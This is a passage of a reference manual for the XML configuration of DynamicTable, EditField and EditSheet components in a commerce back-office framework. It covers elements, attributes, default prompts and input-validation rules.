Return to XML Structure

boolean

This optional element provides configuration and validation information about a particular column in a DynamicTable HTC containing Boolean values.

Parent Element
fields
Required Child Elements
name
Optional Child Elements
browsetooltip, label
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, onbrowse, onchange, onerror, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
width | Specifies an initial width for the column corresponding to this element, expressed as a percentage of the total width. Optional. Legal values: Integers between 0 and 100. Default value: Total width divided by the number of displayed columns.

Return to XML Structure

date

This optional element provides configuration and validation information about a particular column in a DynamicTable HTC containing date values.

Parent Element
fields
Required Child Elements
name
Optional Child Elements
browsetooltip, error, format, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
firstday | Specifies the day of the week that is considered to be the first day of the week. Optional. Legal values: Integers between 0 (Sunday) and 6 (Saturday), inclusive. Default value: 0 (Sunday)
width | Specifies an initial width for the column corresponding to this element, expressed as a percentage of the total width. Optional. Legal values: Integers between 0 and 100. Default value: Total width divided by the number of displayed columns.

Return to XML Structure

numeric

This optional element provides configuration and validation information about a particular column in a DynamicTable HTC containing numeric values.

Parent Element
fields
Required Child Elements
name
Optional Child Elements
browsetooltip, error, format, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
width | Specifies an initial width for the column corresponding to this element, expressed as a percentage of the total width. Optional. Legal values: Integers between 0 and 100. Default value: Total width divided by the number of displayed columns.

Return to XML Structure

select

This optional element provides configuration and validation information about a particular column in a DynamicTable HTC containing a fixed set of choices.

Parent Element
fields
Required Child Elements
name, select
Optional Child Elements
browsetooltip, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, htmloptions, multilingual, onbrowse, onchange, onerror, onvalid, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
width | Specifies an initial width for the column corresponding to this element, expressed as a percentage of the total width. Optional. Legal values: Integers between 0 and 100. Default value: Total width divided by the number of displayed columns.

Return to XML Structure

text

This optional element provides configuration and validation information about a particular column in a DynamicTable HTC containing text values.

Parent Element
fields
Required Child Elements
name
Optional Child Elements
browsetooltip, charmask, error, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, maxlen, minlen, multilingual, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
width | Specifies an initial width for the column corresponding to this element, expressed as a percentage of the total width. Optional. Legal values: Integers between 0 and 100. Default value: Total width divided by the number of displayed columns.

Return to XML Structure

time

This optional element provides configuration and validation information about a particular column in a DynamicTable HTC containing time values.

Parent Element
fields
Required Child Elements
name
Optional Child Elements
browsetooltip, error, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
width | Specifies an initial width for the column corresponding to this element, expressed as a percentage of the total width. Optional. Legal values: Integers between 0 and 100. Default value: Total width divided by the number of displayed columns.

Remarks

The format of fields associated with the time element is fixed. Hours and minutes are displayed in 24-hour format, separated by the colon character (":"). Seconds are not supported.

Return to XML Structure

browsetooltip, charmask, error, format, label, name, prompt, select, option

These nine elements are used to qualify or extend the behavior of one or more of the EditField elements of various data types, embedded within the DynamicTable HTC. For more information, see Shared EditField Child Elements.

Return to XML Structure


EditField Configuration

The XML data-island identified by the MetaXML container attribute contains the configuration information used by one or more EditField HTML components (HTCs).

For more information about how an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not in bold.

Note

  • The XML elements and attributes in the MetaXML data-island for the EditField HTC must be expressed in lowercase letters.

XML Structure

<editfield>
  <boolean browse browsereadonly default disabled hide
           id onbrowse onchange onerror readonly
    <browsetooltip>Tooltip for browse button</browsetooltip>
    <label>Checkbox label</label>
  </boolean>
  <date browse browsereadonly default disabled firstday
        hide id max min onbrowse onchange onerror
        onrequire onvalid readonly required
    <browsetooltip>Tooltip for browse button</browsetooltip>
    <error>Validation error message</error>
    <format>Date format to use</format>
    <prompt>Empty control prompt</prompt>
  </date>
  <numeric browse browsereadonly default disabled hide id
           max min onbrowse onchange onerror onrequire
           onvalid readonly required subtype
    <browsetooltip>Tooltip for browse button</browsetooltip>
    <error>Validation error message</error>
    <format>Number format to use</format>
    <prompt>Empty control prompt</prompt>
  </numeric>
  <select browse browsereadonly default disabled hide
          htmloptions id multilingual onbrowse
          onchange onerror onvalid readonly
    <browsetooltip>Tooltip for browse button</browsetooltip>
    <prompt>Empty control prompt</prompt>
    <select id>
      <option value>Item display name</option>
    </select>
    ...
    <select id>
      <option value>Item display name</option>
    </select>
  </select>
  <text browse browsereadonly default disabled hide id
        maxlen minlen multilingual onbrowse onchange onerror
        onrequire onvalid readonly required subtype
    <browsetooltip>Tooltip for browse button</browsetooltip>
    <charmask>Validation character mask</charmask>
    <error>Validation error message</error>
    <prompt>Empty control prompt</name>
  </text>
  <time browse browsereadonly default disabled hide
        id max min onbrowse onchange onerror
        onrequire onvalid readonly required
    <browsetooltip>Tooltip for browse button</browsetooltip>
    <error>Validation error message</error>
    <prompt>Empty control prompt</prompt>
  </time>
</editfield>

editfield

This required element provides a container for the configuration data associated with one or more EditField HTCs. This allows multiple EditField HTCs to share a single XML editfield data-island, accessing different configuration information using distinct id attribute values.

Parent Element
None (document root).
Required Child Elements
None.
Optional Child Elements
boolean, date, numeric, select, text, time

(at least one is required; order not important)

Data
None.

Attributes

None.

Return to XML Structure

boolean

This optional element provides configuration and validation information about an EditField HTC of the Boolean type.

Parent Element
editfield
Required Child Elements
None.
Optional Child Elements
browsetooltip, label
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, onbrowse, onchange, onerror, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

date

This optional element provides configuration and validation information about an EditField HTC of the Date type.

Parent Element
editfield
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, format, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
firstday | Specifies the day of the week that is considered to be the first day of the week. Optional. Legal values: Integers between 0 (Sunday) and 6 (Saturday), inclusive. Default value: 0 (Sunday)

Return to XML Structure

numeric

This optional element provides configuration and validation information about an EditField HTC of the Numeric type.

Parent Element
editfield
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, format, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

select

This optional element provides configuration and validation information about an EditField HTC of the Select type.

Parent Element
editfield
Required Child Elements
select
Optional Child Elements
browsetooltip, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, htmloptions, multilingual, onbrowse, onchange, onerror, onvalid, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

text

This optional element provides configuration and validation information about an EditField HTC of the Text type.

Parent Element
editfield
Required Child Elements
None.
Optional Child Elements
browsetooltip, charmask, error, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, maxlen, minlen, multilingual, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

time

This optional element provides configuration and validation information about an EditField HTC of the Time type.

Parent Element
editfield
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, prompt
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Remarks

The format of fields associated with the time element is fixed. Hours and minutes are displayed in a 24-hour format, separated by the colon character (":"). Seconds are not supported.

Return to XML Structure

browsetooltip, charmask, error, format, label, prompt, select, option

These eight elements are used to qualify or extend the behavior of one or more of the EditField elements of various data types. For more information, see Shared EditField Child Elements.

Return to XML Structure


Shared EditField Child Elements

A number of elements specify EditField HTCs of different data types: boolean, date, numeric, select, text, and type. These elements may be present in the configuration information for EditField HTCs themselves. They may also be present in EditField HTCs embedded within the DynamicTable, EditSheet, and ListEditor HTCs. These shared elements include a number of child elements that alter or extend their behavior. The following table lists these child elements, and lists the EditField data types to which they apply.

EditField Child Elements | Relevant EditField Types
browsetooltip | boolean, date, numeric, select, text
charmask | text
error | date, numeric, text
format | date, numeric
label | boolean
name | boolean, date, numeric, select, text Required in the DynamicTable HTC; optional in the EditSheet and ListEditor HTCs; not applicable to the EditField HTC.
option | select Actually a child element of the select child element: <select> <select> <option>
prompt | date, numeric, select, text
select | select The option element is a child element of this element.
tooltip | boolean, date, numeric, select, text Optional in the EditSheet and ListEditor HTCs; not applicable in the DynamicTable and EditField HTCs.

browsetooltip

This optional element specifies a ToolTip for the browse button associated with an EditField HTC, whether embedded in another HTC or not.

Parent Elements
boolean, date, numeric, select, text, time

(can be a child of any of the element types shown)

Required Child Elements
None.
Optional Child Elements
None.
Data
The tooltip text.
Attributes
None.

Remarks

The browsetooltip element is ignored if a browse button is not specified.

Return to Shared Editfield Child Elements

charmask

This optional element provides a mask of characters, specified in VBScript regular expression syntax, which is used for input validation of text.

Parent Element
text
Required Child Elements
None.
Optional Child Elements
None.
Data
The charmask text, specified in VBScript regular expression syntax.
Attributes
None.

Remarks

The regular expression string provided as the data to the charmask element should be expressed such that valid input matches the regular expression, but that no sub-string of valid input matches the regular expression. One way to accomplish is by surrounding the specified regular expression with the regular expression symbols for the beginning of the expression (^) and the end of the expression ($).

The charmask element being present, but without any data, is treated the same as if it is not present.

If the charmask element is not present, the following default character mask is used for all three subtypes of the text element:

^[^<>&]*$

For more information about regular expressions, see http://go.microsoft.com/fwlink/?LinkId=5161

Return to Shared Editfield Child Elements

error

This optional element specifies an error message to be displayed to the user if data validation for the field fails.

Parent Elements
date, numeric, text, time

(can be a child of any of the element types shown)

Required Child Elements
None.
Optional Child Elements
None.
Data
The error message text.
Attributes
None.

Remarks

The error element is present, but without any data, and is treated the same as if it is not present.

If the error element is not present, the following default error messages are used for the various element types that use error messages.

Elements That Display Errors | Default Error Message
Date | Validation error in date (m/d/yyyy)
Numeric (Integer subtype) | Validation error in number
Numeric (Float subtype) | Validation error in float
Numeric (Currency subtype) | Validation error in currency
Text (all subtypes) | Validation error in text (cannot contain "<", ">", or "&")
Time | Validation error in time (hh:mm – 24hr)

The default error message for dates will show a different format if one is specified using the format element.

Return to Shared Editfield Child Elements

format

This optional element specifies valid input formats for a particular date or numeric EditField HTC, whether embedded in another HTC or not.

Parent Elements
date, numeric

(can be a child of either of the element types shown)

Required Child Elements
None.
Optional Child Elements
None.
Data
The format specification text.
Attributes
None.

Remarks

Valid formats for dates are "m/d/yyyy", "d/m/yyyy", and "yyyy/m/d". The default is "m/d/yyyy". The separator can be specified as any of the following three characters: forward slash ("/"), hyphen ("-"), and period ("."). The default separator is forward slash ("/"). Any number of the characters "m", "d", and "y" may be specified without affecting displayed dates; months and days will never be displayed with leading zeros, and years will always be displayed using four digits.

Valid formats for numbers depend on the subtype of number being displayed: integer, float, or currency. The following table describes valid formats for each.

Numeric Subtype Numeric Formats
integer A string that specifies the manner in which negative values will be indicated (or not), relative to the placement of digits. The negative value indicator can be a leading or trailing hyphen ("-"), or it can be parentheses around the number.

Even though the format is specified as a decimal number, values that are not whole numbers cannot be entered into the HTC when the subtype is "integer".

Examples:

1.1 -1.1 1.1- (1.1)
float A string that specifies the manner in which negative values will be indicated (or not), relative to the placement of digits. The negative value indicator can be a leading or trailing hyphen ("-"), or it can be parentheses around the number.

Examples:

1.1 -1.1 1.1- (1.1)
currency A string that specifies the manner in which negative values will be indicated (or not), relative to the placement of digits. The negative value indicator can be a leading or trailing hyphen ("-"), or it can be parentheses around the number.

No currency symbol should be specified as part of this format.

Examples:

1.1 -1.1 1.1- (1.1)

Return to Shared Editfield Child Elements

label

This optional element provides text to be displayed after the checkbox in a Boolean EditField HTC, whether embedded in another HTC or not.

Parent Element
boolean
Required Child Elements
None.
Optional Child Elements
None.
Data
The check box label text.
Attributes
None.

Remarks

When the label element is absent, the check box will be labeled with the word "Yes" by default.

Return to Shared Editfield Child Elements

name

This element, which is required in some circumstances (see table in Notes), specifies the name associated with an EditField HTC in some situations where it is embedded in another HTC.

Parent Elements
boolean, date, numeric, select, text, time

(can be a child of either of the element types shown)

Required Child Elements
None.
Optional Child Elements
None.
Data
The EditField HTC name.
Attributes
None.

Remarks

The following table shows the situations in which the name element is used, including whether it is required or optional.

HTC with embedded EditFields | Use of the <name> element
DynamicTable | The value of the name element is used as the name of the column associated with the containing element. The name element is required in this situation.
EditSheet | When no template element is specified, the value of the name element is used as the name displayed to the left of the embedded EditField HTC. The name element is optional in this situation. If no name is specified, the field is displayed without a label.
ListEditor | The value of the name element is used as the name displayed to the left of the embedded EditField HTC in the edit area of the ListEditor HTC. The name element is optional in this situation. If no name is specified, the field is displayed without a label.

If the hide attribute of the containing element is set to "yes", the name element is superfluous and need not be present.

Return to Shared Editfield Child Elements

option

This required element specifies the display name and the underlying value for a multiple choice EditField HTC, whether embedded in another HTC or not.

Parent Element
select
(which is itself a child of the higher level select element)
Required Child Elements
None.
Optional Child Elements
None.
Data
The text to be displayed in the selection drop down list. If the htmloptions attribute is set to "yes", HTML elements can be embedded in this text to provide a richer user experience. For example, an IMG element could be included to provide an icon with the text.

Attributes

Attribute | Description
value | Specifies the value associated with a particular choice. Required. Legal values: Any. Default value: None. It is up to the author of the XML configuration information to ensure that no two value attribute values for the option elements within the same select element are the same. The Commerce Server Business Desk Framework performs no uniqueness checking in this regard.

Remarks

At least one option element is required, and in general, at least two option elements will be specified.

If an option element is specified with a value attribute set to an empty string, then that option is considered the chosen option when the field is empty.

The select field will display its prompt whenever the current data value does not correspond to the value attribute value of any of the option elements.

Return to Shared Editfield Child Elements

prompt

This optional element provides text to be displayed within an EditField HTC, whether embedded in another HTC or not, when there is no value present. The purpose of such text is to prompt the user for input. Once the user begins entering data, the prompt is replaced by that data.

Parent Elements
date, numeric, select, text, time

(can be a child of either of the element types shown)

Required Child Elements
None.
Optional Child Elements
None.
Data
The prompt text.
Attributes
None.

Remarks

When the prompt element is absent, a default prompt is displayed. To avoid having a prompt displayed, an empty prompt element must be present.

The following table shows the default prompts for the different types of EditField HTCs.

Type of EditField HTC | Default Prompt
boolean | None.
date | <enter date (m/d/yyyy)>.
numeric | <enter number>
select | <select one>
text | <enter text>
time | <enter time (hh:mm)>

The default prompt for dates will show a different format if one is specified using the format element.

Return to Shared Editfield Child Elements

select

This required element contains a set of choices that are available for a multiple choice EditField HTC, whether embedded in another HTC or not. These choices are expressed as a set of option elements.

Parent Element
select
(the higher-level select element )
Required Child Elements
option
(at least one)
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
id | Specifies an identifier for this select element. Required, unless there are no sibling select elements. Legal values: Must be unique with respect to the id attributes of any sibling select elements. Default value: None. The value of this attribute can be used as the value of the sID parameter to the reload method of the EditField HTC to dynamically change the set of choices offered to those specified by the child option elements of this select element. (Use the field method of the DynamicTable HTC to retrieve the EditField HTC for which the reload method will be called.)

Remarks

At least one select element is required, but more than one select element may be supplied for situations where the set of choices changes based on some other control setting or circumstance.

Return to Shared Editfield Child Elements

tooltip

This optional element specifies a ToolTip for the left-hand column label, if any, associated with an EditField HTC that is embedded within an EditSheet or ListEditor HTC.

Parent Elements
boolean, date, numeric, select, text, time
(can be a child of either of the element types shown)
Required Child Elements
None.
Optional Child Elements
None.
Data
The ToolTip text.
Attributes
None.

Return to Shared Editfield Child Elements


Shared EditField Attributes

The following table shows the attributes of the various types of EditField elements that are shared.

Attribute
Applicable EditField Types
Description
browse Boolean, Date, Numeric, Select, Text, Time Specifies that a browse button will be available for use with this field.

Optional.

Legal values: "yes" and "no". A value of "yes" specifies that browsing is provided for this field.

Default value: "no".

For more information about the various attributes that work together to control browsing, see EditField.
browsereadonly Boolean, Date, Numeric, Select, Text, Time Specifies whether browsing will be the only way to specify a value for this field.

Optional.

Legal values: "yes" and "no". A value of "yes" specifies that browsing is the only way to provide a value for this field.

Default value: "no".

For more information about the various attributes that work together to control browsing, see EditField.
default Boolean, Date, Numeric, Select, Text, Time Specifies a default value for this field when the data passed to it is an empty string.

Optional.

Legal values: Depend on the type of the field, and are validated in the same way as values passed in as data.

Default value: None.
disabled Boolean, Date, Numeric, Select, Text, Time Specifies whether this field is disabled.

Optional.

Legal values: "yes" and "no". A value of "yes" specifies that this field is disabled.

Default value: "no".
hide Boolean, Date, Numeric, Select, Text, Time Specifies whether display of the field should be suppressed.

Optional.

Legal values: "yes" and "no". A value of "yes" suppresses the display of the field.

Default value: "no".
htmloptions Select Specifies whether the option node data should be displayed as HTML or plain text.

Optional.

Legal values: "yes" and "no". A value of “yes” will display HTML markup like bold and italic as option display values. Even images can be displayed in this way.

Default value: "no".
id Boolean, Date, Numeric, Select, Text, Time Provides an identifier used to associate this field with the corresponding data in the DataXML container attribute.

Required.

Legal values: Must be unique relative to the other id attribute values within the current HTC.

Default value: None.
max Date, Numeric, Time Provides a maximum value that is used when validating field input.

Optional.

Legal values: Must match the specified data format, if any.

Default value: None.
maxlen Text Provides the maximum length of input allowed in a text field, specified in characters.

Optional.

Legal values: Positive integers.

Default value: None.
min Date, Numeric, Time Provides a minimum value that is used when validating field input.

Optional.

Legal values: Must match the specified data format, if any.

Default value: None.
minlen Text Provides the minimum length of input allowed in a text field, specified in characters.

Optional.

Legal values: Positive integers.

Specifying a positive integer as the value of the minlen attribute also forces the field to be required.
multilingual Select, Text Specifies whether to display a multilingual icon (a globe) on the corresponding input field, indicating that multilingual input is supported.

Optional.

Legal values: "yes" and "no". A value of "yes" will display a multilingual icon (a globe) to the right of the control.

Default value: "no".
onbrowse Boolean, Date, Numeric, Select, Text, Time Specifies the function name of the browse handler.

Optional.

Legal values: Must specify a valid function name.

Default value: None.

If this attribute is set, the browse attribute need not be set.

For more information about the various attributes that work together to control browsing, see EditField.
onchange Boolean, Date, Numeric, Select, Text, Time Specifies the function name of the change handler.

Optional.

Legal values: Must specify a valid function name.

Default value: None.
onerror Boolean, Date, Numeric, Select, Text, Time Specifies the function name of the error handler.

Optional.

Legal values: Must specify a valid function name.

Default value: None.
onrequire Date, Numeric, Text, Time Specifies the function name of the require handler.

Optional.

Legal values: Must specify a valid function name.

Default value: None.
onvalid Date, Numeric, Select, Text, Time Specifies the function name of the valid handler.

Optional.

Legal values: Must specify a valid function name.

Default value: None.
readonly Boolean, Date, Numeric, Select, Text, Time Specifies whether this field is read-only.

Optional.

Legal values: "yes" and "no". A value of "yes" prevents the field value from being changed.

Default value: "no".
required Date, Numeric, Text, Time Specifies whether data must be supplied for this field.

Optional.

Legal values: "yes" and "no". A value of "yes" specifies that data must be supplied.

Default value: "no".
subtype Numeric, Text Specifies further refinement of the data type specified by the element containing this attribute.

Optional.

Legal values:

numeric: "integer", "float", "currency"

text: "short", "long", "password"

Default value:

numeric: "integer"

text: "short"


EditSheet Configuration

The XML data-island identified by the MetaXML container attribute contains the configuration information used by the EditSheet HTML component (HTC).

For more information about how an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not in bold.

Note

  • The XML elements and attributes in the MetaXML data-island for the EditSheet HTC must be expressed in lowercase letters.

XML Structure

<editsheets>
  <editsheet>
    <global expanded title>
      <name>Editsheet name goes here<name>
      <key>Access key for editsheet goes here</key>
    </global>
    <template fields register>
      <![CDATA[
        HTML template goes here
      ]]>
    </template>
    <fields>
      <boolean browse browsereadonly default disabled hide
               id onbrowse onchange onerror readonly
        <browsetooltip>Tooltip for browse button</browsetooltip>
        <name>Name of field in left-hand column</name>
        <label>Checkbox label</label>
        <tooltip>Tooltip for left-hand column label</tooltip>
      </boolean>
      <date browse browsereadonly default disabled firstday
            hide id max min onbrowse onchange onerror
            onrequire onvalid readonly required
        <browsetooltip>Tooltip for browse button</browsetooltip>
        <format>Date format to use</format>
        <error>Name of field in left-hand column</error>
        <name>Column heading name</name>
        <prompt>Empty control prompt</prompt>
        <tooltip>Tooltip for left-hand column label</tooltip>
      </date>
      <numeric browse browsereadonly default disabled hide id
               max min onbrowse onchange onerror onrequire
               onvalid readonly required subtype
        <browsetooltip>Tooltip for browse button</browsetooltip>
        <format>Number format to use</format>
        <error>Validation error message</error>
        <name>Name of field in left-hand column</name>
        <prompt>Empty control prompt</prompt>
        <tooltip>Tooltip for left-hand column label</tooltip>
      </numeric>
      <select browse browsereadonly default disabled hide
              htmloptions id multilingual onbrowse
              onchange onerror onvalid readonly
        <browsetooltip>Tooltip for browse button</browsetooltip>
        <name>Name of field in left-hand column</name>
        <prompt>Empty control prompt</prompt>
        <tooltip>Tooltip for left-hand column label</tooltip>
        <select id>
          <option value>Item display name</option>
        </select>
        ...
        <select id>
          <option value>Item display name</option>
        </select>
      </select>
      <text browse browsereadonly default disabled hide id
            maxlen minlen multilingual onbrowse onchange onerror
            onrequire onvalid readonly required subtype
        <browsetooltip>Tooltip for browse button</browsetooltip>
        <charmask>Validation character mask</charmask>
        <error>Validation error message</error>
        <name>Name of field in left-hand column</name>
        <prompt>Empty control prompt</prompt>
        <tooltip>Tooltip for left-hand column label</tooltip>
      </text>
      <time browse browsereadonly default disabled hide
            id max min onbrowse onchange onerror
            onrequire onvalid readonly required
        <browsetooltip>Tooltip for browse button</browsetooltip>
        <error>Validation error message</error>
        <name>Name of field in left-hand column</name>
        <prompt>Empty control prompt</prompt>
        <tooltip>Tooltip for left-hand column label</tooltip>
      </time>
    </fields>
  </editsheet>
  <editsheet>
    another editsheet specification goes here
  </editsheet>
</editsheets>

editsheets

This optional element is used to contain multiple editsheet elements, if present. Otherwise a single editsheet element is used.

Parent Element
None (document root).
Required Child Elements
editsheet

(at least one is required, but normally two or more are present)

Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

editsheet

This required element contains the configuration information for a single EditSheet HTC.

Parent Elements
None (document root), editsheets
(can be one or the other)
Required Child Elements
global, fields
Optional Child Elements
template
Data
None.
Attributes
None.

Remarks

It can be used as the sole child of the XML data-island when a single EditSheet HTC is being used, or can occur within the editsheets element when configured as one of several EditSheet HTCs.

For more information about how an XML document can be included on a page (creating an XML data-island) see XML Data-Islands.

Return to XML Structure

global

This required element specifies global information about the display of an EditSheet HTC.

Parent Element
editsheet
Required Child Elements
name, key

(Required in some circumstances)

Optional Child Elements
name, key

(Optional in some circumstances)

Data
None.

Attributes

Attribute | Description
expanded | Specifies whether the EditSheet HTC is initially displayed as open or closed. Optional. Legal values: "yes" and "no". A value of "yes" causes the EditSheet HTC to initially display as open. Default value: "no". The value of this attribute is irrelevant if the title attribute is set to "no".
title | Controls whether the EditSheet HTC is shown with a title bar containing the expand/collapse control and its name. Optional. Legal values: "yes" and "no". A value of "no" suppresses the display of the title bar. Default value: "yes". If the title attribute is set to "no", then the expanded attribute is automatically set to "yes". Also, if the title attribute is set to "no", then the name and key (sub) elements need not be specified.

Return to XML Structure

name

This element, which is required in some circumstances, provides the name of the EditSheet HTC.

Parent Element
global
Required Child Elements
None.
Optional Child Elements
None.
Data
The name of the editsheet.

Attributes

None.

Remarks

This name is sometimes called the group name.

This name is typically displayed in the title bar. This behavior can be suppressed by setting the title attribute to "no"; in this case this element is not required. If the title attribute of the containing global element is not set to "no", this element is required.

If the specific EditSheet name contains any HTML formatting directives, proper escaping must be used. For example, the string &lt; must be used for the "<" character, the string &gt; must be used for the ">" character, and the string &amp; must be used for the "&" character.

Return to XML Structure

key

This element, which is required in some circumstances, specifies a character that serves as the accessibility key associated with the EditSheet HTC.

Parent Element
global
Required Child Elements
None.
Optional Child Elements
None.
Data
The accessibility key, as indicated in the editsheet name with underlining.

Attributes

None.

Remarks

If the title attribute of the containing global element is not set to "no", this element is required.

The accessibility key for the EditSheet HTC must specify the same character identified with underlining in the EditSheet name, if any.

For example, if the EditSheet name is specified such that the user sees the string "Department", the character "d" must appear between the <key> and </key> tags.

Return to XML Structure

template

This optional element contains an HTML template for the EditSheet HTC that can contain sub-instances of Commerce Server Business Desk HTCs within it, often EditSheet and EditField HTCs.

Parent Element
editsheet
Required Child Elements
None.
Optional Child Elements
None.
Data
An HTML template expressed as character data (CDATA).

Attributes

Attribute | Description
fields | Specifies a space-delimited list of the IDs of any contained EditField HTCs that should be loaded using the same data and metadata as the parent EditSheet HTC. Optional. Legal values: Valid IDs of contained EditField HTCs, separated by spaces. Default value: None. When the EditSheet HTC creates the template, it will attach the correct behavior for those EditField HTCs and also enable their OnChange, OnValid, and OnRequire events to be passed to the outer EditSheet HTC. These EditField HTCs should not have the CLASS attribute value "EditField" set on their DIV element.
register | Specifies a space-delimited list of the IDs of any contained HTCs that should have their OnChange, OnValid, and OnRequire events passed to the outer EditSheet HTC. Optional. Legal values: Valid IDs of contained HTCs, separated by spaces. Default value: None. Standard HTML input elements can also be registered so that their OnChange events will be passed to the outer EditSheet HTC. However, it is important to remember that HTML radio and check box type input elements do not fire the OnChange event.

Remarks

The register attribute is used to allow OnChange and OnRequire events generated by these sub-controls to be passed to the outer EditSheet HTC.

The fields attribute is used to create EditField HTCs for elements within the template without requiring that the EditField HTCs load their own metadata.

Passing the OnRequire event to the outer EditSheet HTC allows the icon indicating required data to be displayed for templated sub-controls.

Passing the OnValid event to the outer EditSheet HTC allows the icon that indicates data is not valid to be displayed for templated sub-controls.

Passing the OnChange event to the outer EditSheet HTC allows proper tracking of whether changes have been made.

The following example illustrates how to create a template that contains an EditSheet HTC, an EditField HTC, and a check box as sub-controls. Note how the IDs of the EditSheet and EditField HTCs are specified in the fields and register attributes of the template element:

  <template fields="esSubControl2" register="esSubControl1">
    <![CDATA[
      <DIV ID='esSubControl1'
           CLASS='editSheet'
           MetaXML='esMeta1'
           DataXML='esData'>
        <H3 ALIGN="center">Loading Property Group...</H3>
      </DIV>
      <B>File Name 5:</B>
      <DIV ID='esSubControl2'
           STYLE='WIDTH:300px'
           MetaXML='esMeta1'
           DataXML='esData'>
        <H3 ALIGN="center">Loading Property...</H3>
      </DIV>
      <INPUT type="checkbox" id=checkbox1 name=checkbox1>
      <LABEL FOR=checkbox1>additional HTML controls</LABEL>
    ]]>
  </template>

Return to XML Structure

fields

This required element contains the elements that specify the fields to be displayed in the EditSheet HTC.

Parent Element
editsheet
Required Child Elements
None.
Optional Child Elements
boolean, date, numeric, select, text, time
Data
None.
Attributes
None.

Remarks

When the template element is not present, elements defined within the fields element are displayed as rows in the EditSheet HTC, in the order in which they appear within the fields element. For example, the first element defines the top row and the last element defines the bottom row.

The child elements of the fields element are essentially the same as the elements that can be defined as child elements of the editfield element in the configuration data for the EditField HTC. The primary difference is that child elements of the fields element in the EditSheet HTC can include additional child elements, namely the name and tooltip elements. For information about shared attributes, see Shared EditField Attributes.

Return to XML Structure

boolean

This optional element provides configuration and validation information about a particular field in an EditSheet HTC containing a Boolean value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, label, name, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, onbrowse, onchange, onerror, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

date

This optional element provides configuration and validation information about a particular field in an EditSheet HTC containing a date value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, format, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.
firstday | Specifies the day of the week that is considered to be the first day of the week. Optional. Legal values: Integers between 0 (Sunday) and 6 (Saturday), inclusive. Default value: 0 (Sunday)

Return to XML Structure

numeric

This optional element provides configuration and validation information about a particular field in an EditSheet HTC containing a numeric value.

Parent Element
fields
Required Child Elements
None.
Optional Child Elements
browsetooltip, error, format, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, max, min, onbrowse, onchange, onerror, onrequire, onvalid, readonly, required, subtype | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

select

This optional element provides configuration and validation information about a particular field in an EditSheet HTC containing a fixed set of choices.

Parent Element
fields
Required Child Elements
select (at least one, but generally two or more)
Optional Child Elements
browsetooltip, name, prompt, tooltip
Data
None.

Attributes

Attribute | Description
id, browse, browsereadonly, default, disabled, hide, htmloptions, multilingual, onbrowse, onchange, onerror, onvalid, readonly | The id attribute is required. All others are optional. For more information about these attributes, see Shared EditField Attributes.

Return to XML Structure

text

This optional element provides configuration and validation information about a particular field in an EditSheet HTC containing a text value.

Parent Element
fields
Required Child Elements
name
Optional Child Elements
browsetooltip, charmask, error, prompt, tooltip
